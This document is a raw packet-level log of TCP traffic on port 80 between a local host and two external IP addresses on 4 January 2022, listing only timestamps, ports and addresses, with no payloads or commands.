Jan 4, 2022 19:33:36.675431013 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675471067 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675481081 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.675509930 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675539017 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.675549030 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675587893 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675628901 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675656080 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.675668001 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675687075 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.675708055 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675745964 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675786018 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675801039 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.675826073 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675841093 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.675863981 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675910950 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675949097 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675965071 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.675988913 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675997972 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.676029921 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676067114 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676105022 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676116943 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.676143885 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676158905 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.676182032 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676220894 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676259995 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676271915 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.676299095 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676312923 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.676338911 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676376104 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676414013 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676430941 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.676454067 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676491022 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676495075 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.676531076 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676544905 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.676568985 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676609039 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.676637888 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.676650047 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.678282976 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.683515072 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.683558941 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.683597088 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.683638096 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.683656931 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:36.683677912 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.683696985 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:36.683717966 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.683758020 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.683774948 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:36.683795929 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.684644938 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:36.721121073 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.721170902 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.724674940 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.740710974 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.740756989 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.740803957 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.740832090 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.740880013 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.740932941 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.740947008 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.740993023 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741031885 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741050959 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.741072893 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741111994 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741132975 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.741148949 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741188049 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741199970 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.741225958 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741266012 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741276026 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.741305113 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741341114 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741355896 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.741379976 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741417885 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741429090 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.741456032 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741493940 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741503954 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.741533041 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741571903 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741588116 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.741611004 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741650105 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741681099 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741712093 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741749048 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.741751909 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741791010 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741816044 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.741828918 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741868019 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741882086 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.741905928 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741945028 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.741956949 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.741985083 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.742021084 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.742031097 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.742058992 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.742098093 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.742108107 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.742134094 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.742186069 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.784739017 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.784781933 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.785180092 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.802228928 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802277088 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802315950 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802366018 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802381039 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.802405119 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802426100 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.802444935 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802484989 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802522898 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802524090 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.802565098 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802592993 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.802603006 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802655935 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802659988 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.802695990 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802733898 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802747965 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.802773952 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802814007 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802851915 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802869081 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.802890062 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802898884 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.802930117 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.802968979 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803009033 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803021908 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.803045034 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803056002 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.803085089 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803123951 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803180933 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.803203106 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803257942 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.803282022 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803319931 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803359032 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803397894 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803410053 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.803435087 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803447962 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.803473949 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803513050 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803553104 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803569078 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.803592920 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803606033 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.803644896 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803690910 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803721905 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803740025 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.803762913 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803792000 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.803803921 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.803857088 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.845227003 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.845277071 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.845382929 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.863871098 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.863922119 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.863961935 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864001036 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864039898 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864041090 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.864079952 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864120007 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864135027 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.864162922 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864181042 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.864202023 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864212990 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.864240885 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864289999 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864295959 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.864327908 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864366055 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864404917 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864406109 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.864444971 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864484072 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864495993 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.864521980 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864532948 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.864562035 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864609957 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864649057 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864660978 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.864689112 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864700079 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.864727974 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864765882 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864805937 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864820004 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.864844084 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864860058 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.864907026 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864947081 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.864986897 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.865005016 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.865024090 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.865036964 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.865066051 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.865106106 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.865142107 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.865180969 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.865220070 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.865219116 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.865248919 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.865258932 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.865291119 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.865319967 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.865350008 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.865380049 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.865411043 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.865449905 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.865495920 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.905555010 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.905606985 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.905711889 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.925584078 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.925611019 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.925657034 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.925697088 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.925734997 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.925745010 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.925772905 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.925775051 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.925817013 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.925851107 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.925854921 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.925888062 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.925926924 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.925952911 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.925966978 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.925978899 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.926007032 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926044941 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926083088 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926099062 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.926121950 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926136971 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.926160097 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926198006 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926212072 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.926237106 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926275969 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926316023 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926337004 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.926359892 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926398993 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926418066 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.926438093 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926476002 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926515102 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926553011 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926553011 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.926592112 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926631927 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926660061 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.926671982 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926696062 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.926711082 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926749945 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926785946 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926825047 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926841021 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.926863909 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926884890 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.926903009 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926923037 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.926944017 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.926981926 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.927021027 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.927052975 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.927053928 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.927086115 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.927124023 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.927126884 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.927158117 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.927161932 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.927226067 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.953018904 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.953042984 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.953057051 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.953069925 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.953083992 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.953097105 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.953110933 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.953124046 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.953140974 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.953156948 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:36.953165054 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.953181028 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.953201056 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.953210115 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:36.953224897 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:36.953231096 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:36.953243017 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:36.953629017 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.965897083 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.965919018 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.966032028 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.987251043 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987287998 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987319946 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987335920 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987365007 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987377882 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.987391949 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987420082 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987422943 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.987447977 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987479925 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987487078 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.987508059 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987524033 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.987539053 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.987565994 CET	80	49845	89.223.65.17	192.168.2.5
